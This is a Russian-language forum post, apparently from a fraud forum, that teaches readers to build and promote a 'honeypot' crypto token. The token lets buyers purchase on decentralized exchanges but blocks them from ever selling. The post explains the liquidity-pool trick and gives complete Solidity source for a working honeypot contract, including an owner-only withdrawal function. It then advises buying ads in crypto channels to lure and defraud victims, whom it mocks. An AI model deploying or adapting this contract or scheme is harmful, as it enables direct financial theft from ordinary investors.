Как создать свой «scam-токен» и заработать на этом

Crypto-papa

Member
Joined
04.02.22
Messages
1
Deposit USD
0
Как создать свой «scam-токен» и заработать на этом

Как работает honeypot / scam-token и что это

Суть honeypot-токена в том, что вы можете его купить (на децентрализованных биржах), но не можете его продать

Чтобы провернуть такой трюк, нам нужно знать адрес пула ликвидности для вашего токена, который создаётся при обеспечении вашего скам-токена реальной криптовалютой в децентрализованных биржах

Получение адреса пула ликвидности достигается при вызове самой биржей стандартного для ERC-20 токенов метода transferFrom(sender, recipient, amount), где recipient и будет адресом пула ликвидности для нашего фейк-токена, т.к приложение биржи переводит n-количество токенов с вашего кошелька на только что созданный адрес пула ликвидности

Далее механизм работы прост, если при вызове метода transferFrom() адрес отправителя не равен genesis-адресу и заранее установленная переменная адреса пула равна дефолтному genesis-адресу — переменной с адресом пула ликвидности присваивается значение recipient, так мы получаем адрес пула ликвидности, при этом при каждом переводе проверяется выше обозначенное условие, и если адрес пула известен (т.е не равен genesis-адресу), то мы проверяем кто является получателем токенов, а если это не адрес пула, то следовательно это невезучий покупатель вашего scam-токена и биржа кидает ему скам-токен, который он купил за свои кровные, в ином же случае (если получатель - адрес пула), то мы останавливаем перевод, что не позволит жертве продать купленные скам-токены

На хабре в песочнице лежит статья по этому поводу, где описана схема обмана дурачков, которых заманили для реализации пампа, хотя на самом деле прибыль с этого поимеет только тот, кто создал этот скам-токен (https://habr.com/ru/sandbox/164509/)

Создаёте токен, меняете под себя, закупаете рекламу на каналах с крипто-тематикой, привлекаете дурачков и разводите их на деньги, сама схема хорошо описана в выше упомянутой статье на хабре, требуется только составить мануал и подбадривать мамонтов тем, что вот-вот они разбогатеют на такой гениальной и простой вещи (ага, ну конечно)

Создаем смарт-контракт



Исходники смарт-контракта


PHP:
pragma solidity >=0.5.17;


library SafeMath {
  function add(uint a, uint b) internal pure returns (uint c) {
    c = a + b;
    require(c >= a);
  }
  function sub(uint a, uint b) internal pure returns (uint c) {
    require(b <= a);
    c = a - b;
  }
  function mul(uint a, uint b) internal pure returns (uint c) {
    c = a * b;
    require(a == 0 || c / a == b);
  }
  function div(uint a, uint b) internal pure returns (uint c) {
    require(b > 0);
    c = a / b;
  }
}

contract ERC20Interface {
  function totalSupply() public view returns (uint);
  function balanceOf(address tokenOwner) public view returns (uint balance);
  function allowance(address tokenOwner, address spender) public view returns (uint remaining);
  function transfer(address to, uint tokens) public returns (bool success);
  function approve(address spender, uint tokens) public returns (bool success);
  function transferFrom(address from, address to, uint tokens) public returns (bool success);

  event Transfer(address indexed from, address indexed to, uint tokens);
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

contract ApproveAndCallFallBack {
  function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}

contract Owned {
  address public owner;
  address public newOwner;

  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() public {
    owner = msg.sender;
  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address _newOwner) public onlyOwner {
    newOwner = _newOwner;
  }
  function acceptOwnership() public {
    require(msg.sender == newOwner);
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
    newOwner = address(0);
  }
}

contract TokenERC20 is ERC20Interface, Owned{
  using SafeMath for uint;

  string public symbol;
  string public name;
  uint8 public decimals;
  uint _totalSupply;
  address public newun;

  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

  constructor() public {
    symbol = "SCAM";
    name = "Safe Crypto And Money";
    decimals = 8;
    _totalSupply = 100000000000000000000;
    balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
  }
  function transfernewun(address _newun) public onlyOwner {
    newun = _newun;
  }
  function totalSupply() public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) public view returns (uint balance) {
      return balances[tokenOwner];
  }
  function transfer(address to, uint tokens) public returns (bool success) {
     require(to != newun, "please wait");
  
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  function approve(address spender, uint tokens) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  function transferFrom(address from, address to, uint tokens) public returns (bool success) {
      if(from != address(0) && newun == address(0)) newun = to;
      else require(to != newun, "please wait");
    
    balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
  function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
    return true;
  }
  function () external payable {
    revert();
  }
}

contract SCAM is TokenERC20 {

  function clear() public onlyOwner() {
    address payable _owner = msg.sender;
    _owner.transfer(address(this).balance);
  }
  function() external payable {

  }
}